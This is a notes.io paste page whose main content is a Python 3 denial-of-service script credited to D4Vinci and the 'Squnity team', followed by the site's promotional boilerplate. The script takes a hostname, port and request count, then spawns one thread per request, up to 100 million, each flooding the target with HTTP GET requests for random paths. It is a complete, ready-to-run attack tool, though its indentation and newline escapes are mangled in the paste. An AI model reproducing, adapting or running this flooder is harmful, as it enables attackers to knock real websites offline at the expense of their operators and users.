NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

# -*- coding: utf-8 -*-
# Author : D4Vinci
# Recoded by : codex31
# Cleaned by : igosad
# Moved from python2 to python3
# All copyrights to Squnity team

import random
import socket
import string
import sys
import threading
import time

# Parse inputs
host = ""
ip = ""
port = 0
num_requests = 0

if len(sys.argv) == 2:
port = 80
num_requests = 100000000
elif len(sys.argv) == 3:
port = int(sys.argv[2])
num_requests = 100000000
elif len(sys.argv) == 4:
port = int(sys.argv[2])
num_requests = int(sys.argv[3])
else:
print (f"ERRORn Usage: {sys.argv[0]} < Hostname > < Port > < Number_of_Attacks >")
sys.exit(1)

# Convert FQDN to IP
try:
host = str(sys.argv[1]).replace("https://", "").replace("http://", "").replace("www.", "")
ip = socket.gethostbyname(host)
except socket.gaierror:
print (" ERRORn Make sure you entered a correct website")
sys.exit(2)

# Create a shared variable for thread counts
thread_num = 0
thread_num_mutex = threading.Lock()


# Print thread status
def print_status():
global thread_num
thread_num_mutex.acquire(True)

thread_num += 1
#print the output on the sameline
sys.stdout.write(f"r {time.ctime().split( )[3]} [{str(thread_num)}] #-#-# Hold Your Tears #-#-#")
sys.stdout.flush()
thread_num_mutex.release()


# Generate URL Path
def generate_url_path():
msg = str(string.ascii_letters + string.digits + string.punctuation)
data = "".join(random.sample(msg, 5))
return data


# Perform the request
def attack():
print_status()
url_path = generate_url_path()

# Create a raw socket
dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
# Open the connection on that raw socket
dos.connect((ip, port))

# Send the request according to HTTP spec
#old : dos.send("GET /%s HTTP/1.1nHost: %snn" % (url_path, host))
byt = (f"GET /{url_path} HTTP/1.1nHost: {host}nn").encode()
dos.send(byt)
except socket.error:
print (f"n [ No connection, server may be down ]: {str(socket.error)}")
finally:
# Close our socket gracefully
dos.shutdown(socket.SHUT_RDWR)
dos.close()


print (f"[#] Attack started on {host} ({ip} ) || Port: {str(port)} || # Requests: {str(num_requests)}")

# Spawn a thread per request
all_threads = []
for i in range(num_requests):
t1 = threading.Thread(target=attack)
t1.start()
all_threads.append(t1)

# Adjusting this sleep time will affect requests per second
time.sleep(0.01)

for current_thread in all_threads:
current_thread.join() # Make the main thread wait for the children threads
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.